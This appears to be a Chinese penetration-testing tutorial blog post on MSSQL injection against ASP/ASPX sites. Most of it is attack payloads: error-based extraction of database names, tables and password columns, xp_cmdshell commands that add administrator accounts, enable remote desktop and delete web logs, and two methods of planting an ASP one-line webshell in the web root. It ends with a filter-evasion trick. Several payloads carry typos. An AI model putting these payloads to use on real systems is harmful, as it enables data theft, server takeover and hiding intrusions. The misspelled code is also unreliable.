渗透测试学习 九、 MSsql注入上

时间:2023-03-09 08:11:37
渗透测试学习 九、 MSsql注入上

MSsql注入漏洞详解

(Asp、Aspx站,常见于棋牌网站、考试网站、大学网站、*网站、游戏网站、OA办公系统)

大纲:msSQL数据库调用分析  msSQL注入原理  msSQL注入另类玩法  

msSQL数据库介绍及操作

  介绍:ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所

产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。(源自百度百科)

  特点:

    1、高性能设计。可充分利用WindowsNT的优势

    2、系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置

    3、强壮的事务处理能力,采用各种方法保证数据的完整性

    4、支持对称多处理器结构,存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能,强大的管理工具与Internet的紧密集成和开放的系统结构为广大的用户,开发人员和系统集成商提功力一个出众的数据库平台

msSQL服务、端口、后缀

  重启服务,使其生效,命令:services.msc

  TCP 0.0.0.0:1433  0.0.0.0:0  LISTENING

  1433端口是开启的,当关闭服务后,端口也会随之关闭

  后缀 cracer.mdf(数据库文件)

  日志文件后缀 cracer_log.ldf

  管理员帐号:sa

  hydra 可以直接爆1433的弱口令

SQL sever 2005安装(Windows server 2003)

打开tools文件下的setup.exe文件进行安装

渗透测试学习 九、 MSsql注入上

同意条款后点击下一步,安装

渗透测试学习 九、 MSsql注入上

下一步,下一步

渗透测试学习 九、 MSsql注入上

下一步,信息随便填,下一步

渗透测试学习 九、 MSsql注入上

选择整个功能安装到本地硬盘上,点击下一步,下一步,安装

渗透测试学习 九、 MSsql注入上

一路默认,完成。

安装服务servers,找到servers文件下的setup.exe文件进行安装

渗透测试学习 九、 MSsql注入上

接受服务,下一步安装组件,下一步

渗透测试学习 九、 MSsql注入上

一路默认下一步,全选,下一步

渗透测试学习 九、 MSsql注入上

一路下一步到服务账户,设置使用内置系统账户,下一步

渗透测试学习 九、 MSsql注入上

设置混合模式,设置密码,正常情况下这个密码应该设置的很难,但是我们只是搭建靶场,设置一个简单容易记的就可以(123)

渗透测试学习 九、 MSsql注入上

可以直接默认下一步

渗透测试学习 九、 MSsql注入上

一路默认,安装,下一步,完成

渗透测试学习 九、 MSsql注入上

渗透测试学习 九、 MSsql注入上

打开

渗透测试学习 九、 MSsql注入上

打开后有两种方式登录,一种是Windows身份,一种是SQL server身份,我们选择SQL server

登录名是sa(相当于操作系统的最高权限账户) 密码是之前安装时自己设置的(123)

渗透测试学习 九、 MSsql注入上

分离、附加数据库

登入后就是数据库连接客户端界面(真正的数据库是看不到的,它只是一种服务,这个只是方便用户管理的一个客户端 )

渗透测试学习 九、 MSsql注入上

数据库是靠dbid来区分的(在后面进行注入的时候就会体现出dbid的作用),我们新创建的就是dbid5,以下是自带的四个数据库

渗透测试学习 九、 MSsql注入上

新建数据库如下:

对数据库出右键点击选择新建数据库,做好需要的设置以后点击确定就可以了

渗透测试学习 九、 MSsql注入上

新建表:右键点击表-->新建表,做好相应的设置以后,Ctrl+s保存,设置表名

渗透测试学习 九、 MSsql注入上

渗透测试学习 九、 MSsql注入上

之后添加内容的时候,右键点击我们创建的表-->打开表,进行内容的添加,然后Ctrl+s保存就好

渗透测试学习 九、 MSsql注入上

也可以通过命令来执行,点击嘴上脚的新建查询

渗透测试学习 九、 MSsql注入上

使用数据库ceshi,点击执行

渗透测试学习 九、 MSsql注入上

之后就是数据库的一些语句的使用了。进行增删改查的操作,每一次的命令都需要点击执行才可以成功

渗透测试学习 九、 MSsql注入上

如果要删除这个数据库,首先要记得,第一步-->分离

右键点击要删除的数据库,选择任务中的分离选项

渗透测试学习 九、 MSsql注入上

渗透测试学习 九、 MSsql注入上

渗透测试学习 九、 MSsql注入上

然后找到数据库保存的路径,然后删除就好

渗透测试学习 九、 MSsql注入上

关于附加,就是我们将别处下载下来的数据库要附加在我们的管理器中(需要注意兼容性的问题)

右击数据库,选择附加

渗透测试学习 九、 MSsql注入上

找到数据库的路径(要选择两个文件.mdf  .ldf)

也可以生成脚本对数据库打包,拿到本地直接执行

在安全性里面是可以创建登录账号的,可以只针对某一个数据库进行账号的添加设置

如果要下载目标数据库的.mdf  .ldf,需要先分离数据库,否则无法进行复制移动操作的

常见语句

  1、创建数据库

    CREATE DATABSE databse-name

  2/删除数据库

    drop database dbname

  查询所有

    select * from 表名

    select * from student

msSQL数据库权限

  sa权限:数据库操作、文件管理、命令执行、注册表读取等,system(是最高的权限)

  db权限:文件管理、数据库操作等,users-adminstrators

  public权限:数据库操作,guest-users

msSQL数据调用分析

  调用数据库的代码

 <%
set conn=server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=*******;"
database=database-name
%>

其中,provider后面的不用管,照写;source后面的可以是ip地址,这里使用的是本地地址(点号也是可以代替表示本地地址的);sa是内置的用户,后面是密码;database后面是要连接的数据库的名称。例如:mydatabase(不需要扩展名)

一般在存在于一些配置脚本中,如:web.config

msSQL数据库注入

  1、判断是否存在注入

    and 1=1 (回显正常)  adn 1=2(报错)  /(报错)  -0(回显正常)  其实所有的判断都可以使用这种方法

  2、初步判断是否是msSQL

    and user >0

  3、判断数据库系统

    and (select count(*) from sysobjects) >0 (回显正常说明是msSQL)

    and (select count(*) from msysobjects) >0 (回显正常说明是access)

  4、注入参数是字符

    'and [查询条件] and "='

  5、搜索时没有过滤参数的

    'and [查询条件] and '%25"="

  6、猜表明

    and (select count(*) from [表名]) >0

  7、猜字段

    and (select count(字段名) from 表名) >0

  8、猜字段中记录的长度

    and (select top 1 len(字段名) from 表名) >0

  9、(1)猜字段的ASCII值(access)

    and (select top 1 asc(mid(字段名,1,1)) from 表名) >0

   (2)猜字段的ASCII值(msSQL)

    and (select top 1 unicode(substring(字段名,1,1)) from 表名) >0

  10、测试权限结构(msSQL)测试当前是什么身份

    and 1=(select IS_SRVOEMEMBER('sysadmin'));--

    and 1=(select IS_SRVOEMEMBER('serveradmin'));--

    and 1=(select IS_SRVOEMEMBER('setupadmin'));--

    and 1=(select IS_SRVOEMEMBER('securityadmin'));--

    and 1=(select IS_SRVOEMEMBER('diskadmin'));--

    and 1=(select IS_SRVOEMEMBER('bulkadmin'));--

    and 1=(select IS_SRVOEMEMBER('db_owner'));--

  11、添加msSQL和系统的账户

 1 exec master,dbo.sp_addlogin username;--
2 exec master,dbo.sp_password null,username,password;--
3 exec master,dbo.sp_addsrvrolemember sysadmin username;--
4 exec master,dbo.sp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /active:yes /add';--
5 exec master,dbo.xp_cmdshell 'net user username password /add';--
6 exec master,dbo.xp_cmdshell 'net localgroup administrators username /add';--

判断注入

  http://www.abc.com/anc.asp?id=0   在后面加 ' 后报错

获取数据库信息

  id=1 and 1=(select @@version)  //数据库版本

  原理:id=1是数字类型,@@version是字符类型;前后两个类型不匹配就要强制转换,出错,就会报错,并把查寻得信息以报错的形式显示出来

获取当前数据库的名称

  id=1 and 1=(select db_name())  //查询当前使用的数据库名

获取用户数据库名称

  and 1=(select top 1 name from master..sysdatabuses where dbid >4)  //获取第一个用户的数据库名

  and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test)  //获取除过test库的下一个数据库

  and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test and name<>' test2)

  以此类推

  也可以直接修改id范围来查询

  and 1=(select top 1 name from master..sysdatabuses where dbid >4)

  and 1=(select top 1 name from master..sysdatabuses where dbid >5)

  and 1=(select top 1 name from master..sysdatabuses where dbid >6)

  以此类推

  也可以 and 1=(select name sysobjects for xml path)

获取表名

  threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u')  //获取第一张表

  threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name<>' news')

  以此类推

  也可以

  and 1=(select name from master..sysdatabases for xml path)

获取users的列名

  ?id=1 and 1=(select to 1 name from syscolumns where id=(select id from sysobjects where name = 'users'))

获取第一个用户名对应的密码

  ?id=1 and 1=(select top 1 upass from users)  //如果不能运行,将命令进行大小的转换再执行

msSQL数据库另类玩法

  msSQL注入时用户权限分析

    sa权限  dbo  public

  基本信息收集    

and 1=(select is_srvrolemember('sysadmin'))  //判断是不是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是不是库权限
and 1=(select is_srvrolemember('public')) //判断是不是public权限
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS(CESS('master')) //判断是否有库的读取权限

  利用msSQL扩展存储注入攻击

    1、检测与恢复扩展存储

      and 1=(select count(*) from master.dbo.sysobjects where xtype='x') AND name= 'xp_cmdshell')

    2、判断xp_rogread扩展存储过程是否存在

      and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

    3、恢复

      EXEC sp_configure 'shew advanced options', 1; RECONFIGURE;

      EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

      ;exec sp_dropextendedproc xp_cmdshell, 'xplog 10.dll'

  sa权限下扩展存储攻击利用方法

    1、利用xp_cmdshell 扩展执行命令

      查看c盘

 ;drop table black
;create TABLE black(mulu verchar(7996)NULL,ID int NOT NULL IDENTLTY(1,1))--
;insert into black exec master..xp_cmdshell 'dir c:\'
and 1=(select top 1 mulu from black where id=1)

    新建用户

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators tesr /add'

    添加和删除一个sa权限的用户test(前提是需要sa权限)

exec master.dbo.sp_addlogin.tese,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

    停止或激活某服务(前提是需要sa权限)

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

    暴网站目录

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControISetool\Services\w3svc5\Parameters\VirtualRoots','/',@result output insert into lebeng lala) vlaues (@result);

    删除日志记录

;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\wint\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

    开启远程数据库1

;select * from OPENROWSET ('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','selset * from table1') 

    开启远程数据库2

;select * from OPENROWSET ('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table')

    打开3389

;exec master..xpcmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnections /t REG_DWORO /d oxo /f' //允许外部链接 ;exec master..xp_cmdshell 'reg add "HKET_LOCAL_DWACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /v PortNumber /t REG_DWORD /d ox50 /f' //改端口到80

    利用sp_makewebtask写入一句话木马

;exec sp_makewebtask
'c:\inetpub\wwwroot\x.asp','select "%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%74%28%22%63%68%6f%70%70%65%72%22%29%25%3e'"--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%executecrequest("cmd")%>%27%27--

    修改管理员密码

      update admin set password 123123 where username-'admin')

dbowner权限下的扩展攻击利用

  1、判断数据库用户权限

    ;create table tempcdir nvarchar(255),depth narchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--

  然后

    ;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree'c:',1,1--

    and(select dir from temp where id=1) >0

  由于不能一次性获取文件和文件名,因此需要改ID的值,依次列出文件和文件名

  找到web目录后,就可以写入一句话木马

;alter database ssdown5 set RECOVERY FULL  //修改数据库为RECOVERY模式
;create table test(str image)-- //创建一个表
;backup log ssdown5 to disk='c:\test' with init-- //备份
;insert into test(str) values ('<%excut(request("cmd"))%>')-- //插入一句话到列表中
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'-- //备份到网站根目录下并生成x.asp文件
;alter database ssdown5 set RECOVERY simple //再将数据库模式改为RECOVERY

  也可以直接使用工具Getwebshell

工具使用:

  穿山甲,萝卜头,sqlmap。。。。。。

空格可以使用  /**/  +  %0a     代替以达到绕过检测的效果

2019-04-26  10:49:05